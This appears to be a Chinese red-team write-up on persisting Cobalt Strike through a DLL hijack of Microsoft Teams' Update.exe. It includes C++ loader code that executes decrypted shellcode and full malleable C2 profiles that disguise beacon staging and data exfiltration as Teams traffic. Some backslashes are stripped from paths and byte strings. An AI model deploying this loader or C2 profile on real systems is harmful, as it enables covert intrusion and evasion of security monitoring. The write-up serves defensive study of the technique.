介绍
在最近的一个红队场景中,红队在确定了EDR 解决方案的工作站上获得了本地管理员权限。在这种情况下,下一步是感染受感染的系统并持续存在,以确保远程访问的安全。在探索了几个选项后,发现Microsoft Teams二进制文件容易受到DLL 劫持。
本文将介绍如何利用这种情况,利用嵌入在 DLL 中的Cobalt Strike有效载荷。最后,它详细介绍了如何在使用 Cobalt Strike可塑性 C2 配置文件与 C&C 通信时模拟合法的 Microsoft Teams 流量。
通过 DLL 劫持实现 Cobalt Strike 持久性
为了简化这一过程,红队准备了一个尽可能接近原始环境的本地环境,以进行适当的测试。之后,我们使用进程监视器来识别试图加载不存在的 DLL 的进程。为此,应用了以下过滤器:
进程“Update.exe”(32 位)被发现尝试从可执行文件目录加载“ CRYPTSP.dll ”,但由于此库位于 C:WindowsSysWOW64,因此无法加载。这意味着,如果恶意 DLL 与二进制文件放在同一目录中,下次启动“Update.exe”时,进程将首先加载此库并使用一些导出函数。
由于以下几个原因,此可执行文件成为该操作的理想候选者:
-
它是一个应用更新管理器 ( Squirrel ),存在于多个产品安装中 (Teams、Slack、Discord、Webex)。在这种情况下,它是 Microsoft Teams 的一部分,因此它由 Microsoft 签名。
-
每次用户打开应用程序时都会执行它。
-
默认安装在 Windows 注册表中设置一个 Run 键,以便每次用户登录时自动启动该应用程序。
-
预计它将与互联网建立常规 HTTP 连接,从而提供一种使用 C&C 伪装通信的方法。
二进制检测存在漏洞
选定目标后,红队需要实现一个执行恶意代码的 DLL(在本例中为 Cobalt Strike 有效载荷)。为了实现这一点,对二进制文件进行了调试,在所有导入的函数上设置了断点,以检查在“CRYPTSP.dll”中首先调用了哪个函数。
CryptAcquireContextW() 断点
这表明这CryptAcquireContextW()是“Update.exe”调用的第一个函数,因此红队开发了一个库,该库使用自定义加载器导出此函数,该加载器从磁盘恢复并执行原始 Cobalt Strike 有效载荷(shellcode)。更透明的替代方法是使用DLL 代理技术创建包装器。
extern "C" {
void __declspec(dllexport) CryptAcquireContextW() {
char payload[PSIZE];
// Mutex management
HANDLE hMutex = CreateMutex(NULL, FALSE, TEXT("WindowsProc"));
if (hMutex != NULL)
if (GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(1);
// Garbage math operations
stale();
// Recover payload from file
if(decrypt_shellcode_from_file(payload, PAYLOAD_PATH) == SUCCESS){
// Launch Teams.exe
execute_Teams();
// Shellcode execution
HANDLE hFileMap = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(payload), NULL);
LPVOID lpMapAddress = MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, sizeof(payload));
memcpy((PVOID)lpMapAddress, payload, sizeof(payload));
__asm
{
mov eax, lpMapAddress
push eax;
ret
}
}
ReleaseMutex(hMutex);
CloseHandle(hMutex);
}
}
在这种情况下,导出的函数执行以下操作:
-
如果有效载荷已经执行,则使用 Mutex 来暂停执行。
-
stale()函数调用来逃避一些机器学习和沙盒检查。
-
从磁盘检索和解密 Shellcode。
-
Teams.exe 执行模仿 Update.exe 合法行为。
-
CreateFileMapping通过++MapViewOfFile技术memcpy执行Shellcode 。
隐藏与 C&C 的通信
由于环境限制,互联网连接仅允许 Microsoft 域,因此域前端与自定义 Cobalt Strike 配置文件一起使用。这些设置提供了一种灵活的方式来构建 HTTP 请求和响应以与 C&C 进行通信。
红队使用此功能隐藏代理的通信,模仿 Microsoft Teams 发出的 HTTP 流量。在这种情况下,使用了分阶段的有效载荷,该载荷分为两个部分:阶段载荷和阶段载荷。第一个较小的部分负责获取第二个 C&C 阶段:一个包含所有代理逻辑的 DLL(Cobalt Strike 术语中的信标),它将被反射加载到内存中。通过使用这种类型的有效载荷,与 C&C 的通信流可以分为 3 种类型:
-
初始请求获取 Cobalt DLL。
-
植入请求以获取任务。
-
植入请求发送任务结果。
Stager:获取 Cobalt Strike 信标
http-stager 部分定义了如何检索信标,其中 stager 请求模拟图像下载,利用 Microsoft Teams 自己的 HTTP 标头。响应看起来像是一张合法的图片,但包含信标 DLL。为了实现这一点,使用了格式正确的 JPEG 标头和尾随字节。
http-stager {
set uri_x86 "/v1/objects/0-neu-d10-ccab474e582c03325f9f07ba8a3aae8a/views/imgo";
set uri_x64 "/v1/objects/0-neu-d10-cdab424e592c03253f9f07ba8d9aae8a/views/imgo";
client {
header "Host" "<Endpoint Azure>";
header "x-mx-client-version" "27/1.0.0.2021020410";
header "Origin" "https://teams.microsoft";
parameter "v" "1";
}
server {
header "Server" "Microsoft-IIS/10.0";
header "strict-transport-security" "max-age=31536000; includeSubDomains";
header "X-Powered-By" "ARR/3.0";
header "X-Content-Type-Options" "nosniff";
header "x-ms-environment" "North Europe-prod-3,_cnsVMSS-6_26";
header "x-ms-latency" "40018.2038";
header "Timing-Allow-Origin" "https://teams.microsoft.com";
header "Access-Control-Allow-Origin" "https://teams.microsoft.com";
header "Access-Control-Allow-Credentials" "true";
header "Connection" "close";
header "Content-Type" "image/jpeg";
output {
prepend "xFFxD8xFFxE0x00x10x4Ax46x49x46x00x01x01x01x00x48x00x48x00x00xFFxDBx00x43x00";
append "xF9x7CxF3x4Ex3FxECx7Fx82x8CxA4xB5x5Bx3Ex64x11xE7xEAx78x70xCDx6BxFEx0Ex1FxFFxD9";
print;
}
}
}
获取payload
这样,Wireshark 之类的工具就会将 HTTP 响应的内容识别为 JPEG 图像。
Wireshark 将回复显示为 JPEG 文件
信标:获取任务
配置文件的以下部分用于定义 Cobalt Strike 代理要求执行新任务的定期请求的格式。这些请求使用“events”GET 参数发送 base64 编码的会话信息。正如我们之前所看到的,服务器编码的信息嵌入到看似合法的响应中。
http-get {
set uri "/Collector/2.0/settings/";
client {
header "Accept" "json";
header "Host" "<Endpoint Azure>";
header "Referer" "https://teams.microsoft.com/_";
header "x-ms-session-id" "f73c3186-057a-d996-3b63-b6e5de6ef20c";
header "x-ms-client-type" "desktop";
header "x-mx-client-version" "27/1.0.0.2021020410";
header "Accept-Encoding" "gzip, deflate, br";
header "Origin" "https://teams.microsoft.com";
parameter "qsp" "true";
parameter "client-id" "NO_AUTH";
parameter "sdk-version" "ACT-Web-JS-2.5.0&";
metadata {
base64url;
parameter "events";
}
}
server {
header "Content-Type" "application/json; charset=utf-8";
header "Server" "Microsoft-HTTPAPI/2.0";
header "X-Content-Type-Options" "nosniff";
header "x-ms-environment" "North Europe-prod-3,_cnsVMSS-6_26";
header "x-ms-latency" "40018.2038";
header "Access-Control-Allow-Origin" "https://teams.microsoft.com";
header "Access-Control-Allow-Credentials" "true";
header "Connection" "keep-alive";
output {
netbios;
prepend "{"next":"https://westeurope-prod-3.notifications.teams.microsoft.com/users/8:orgid:a17481c3-f754-4d06-9730-4eb0be94afc3/endpoints/";
append "/events/poll?cursor=1613554385&epfs=srt&sca=4}";
print;
}
}
}
发送命令
Beacon:发送结果
最后,http-post 块指定从代理发送到 C&C 的结果请求的格式。对于此示例,输出位于身份验证 HTTP 标头内,假装是 JWT 身份验证令牌。
http-post {
set verb "GET";
set uri "/users/8:orgid:b1a28-a1c3-3d54-4eb01adb1/endpoints/events/poll";
client {
header "Accept" "json";
header "Host" "<Endpoint Azure>";
header "Referer" "https://teams.microsoft.com/_";
header "x-ms-query-params" "cursor=1613554385&epfs=srt&sca=5&activeTimeout=135";
header "x-ms-client-type" "desktop";
header "x-mx-client-version" "27/1.0.0.2021020410";
header "Accept-Encoding" "gzip, deflate, br";
header "Origin" "https://teams.microsoft";
output {
base64;
prepend "skypetoken=eyJhbGciOi";
header "Authentication";
}
id {
netbios;
prepend "f73c3186-057a-d996-3b63-";
header "x-ms-session-id";
}
}
server {
header "Content-Type" "application/json; charset=utf-8";
header "Server" "Microsoft-HTTPAPI/2.0";
header "X-Content-Type-Options" "nosniff";
header "x-ms-environment" "North Europe-prod-3,_cnsVMSS-6_26";
header "x-ms-latency" "40018.2038";
header "Access-Control-Allow-Origin" "https://teams.microsoft.com";
header "Access-Control-Allow-Credentials" "true";
header "Connection" "keep-alive";
output {
netbios;
prepend "{"next":"https://westeurope-prod-3.notifications.teams.microsoft.com/users/8:orgid:a17481c3-f754-4d06-9730-4eb0be94afc3/endpoints/";
append "/events/poll?cursor=1613554385&epfs=srt&sca=4}";
print;
}
}
}
发送结果
结论
本文展示了攻击者如何利用服务中的 DLL 劫持漏洞通过签名的二进制文件执行恶意代码,模仿相应合法应用程序的流量以最大限度地降低被发现的机会。值得注意的是,这种技术在社会工程练习中也很有用,在这种练习中,通过使用此应用更新管理器的任何应用程序目录中的 Microsoft Office 宏部署恶意 DLL 就足够了,而无需直接注入或执行任何有效负载。
原文始发于微信公众号(Ots安全):利用 Microsoft Teams 持久保存并掩盖 Cobalt Strike 流量
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论